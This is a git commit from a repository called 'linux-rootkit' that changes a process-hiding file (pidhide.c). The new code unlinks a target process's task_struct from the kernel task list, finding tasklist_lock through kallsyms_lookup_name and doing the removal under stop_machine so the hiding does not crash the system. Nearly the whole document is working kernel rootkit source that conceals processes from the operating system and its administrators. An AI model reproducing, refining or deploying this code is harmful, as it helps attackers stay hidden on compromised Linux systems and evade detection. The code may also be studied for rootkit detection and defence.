linux-rootkit

commit a93b13daab69f78e3697e36c36cedbdeb8628121
parent 995080029b6a4f0326f471c4cc5988882fb0aef4
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date:   Mon, 25 Jan 2021 11:59:23 +0100

stop machine to avoid crashes

Diffstat:
M
rootkit/src/pidhide.c
 | 
34
+++++++++++++++++++---------------

1 file changed, 19 insertions(+), 15 deletions(-)
diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c
@@ -4,7 +4,7 @@
 #include <linux/proc_fs.h>
 #include <linux/sched/task.h>
 
-#include <linux/preempt.h>
+#include <linux/stop_machine.h>
 
 #include <linux/fs.h>
 #include <linux/fdtable.h>
@@ -57,6 +57,23 @@ unhide_pids(void)
     }
 }
 
+int
+del_task_cpu_stopped(void *arg)
+{
+    struct task_struct *ts = (struct task_struct *)arg;
+
+    rwlock_t *rwlock = (rwlock_t *)kallsyms_lookup_name("tasklist_lock");
+
+    if (!ts || !ts->tasks.prev || !ts->tasks.next) {
+        return 0;
+    }
+
+    write_lock_irq(rwlock);
+    list_del(&ts->tasks);
+    write_unlock_irq(rwlock);
+
+    return 0;
+}
 
 void
 hide_pid(pid_t pid)
@@ -88,20 +105,7 @@ hide_pid(pid_t pid)
     struct task_struct *ts;
 	ts = pid_task(pid_struct, PIDTYPE_PID);
 
-    rwlock_t *rwlock = (rwlock_t *)kallsyms_lookup_name("tasklist_lock");
-
-    if (!ts || !ts->tasks.prev || !ts->tasks.next) {
-        DEBUG_INFO("NULL SOMEWHERE\n");
-        return;
-    }
-
-    preempt_disable();
-    write_lock_irq(rwlock);
-    list_del(&ts->tasks)
-	/* ts->tasks.prev->next = ts->tasks.next; */
-	/* ts->tasks.next->prev = ts->tasks.prev; */
-    write_unlock_irq(rwlock);
-    preempt_enable();
+    stop_machine((cpu_stop_fn_t)del_task_cpu_stopped, (void *)ts, NULL);
 }
 
 void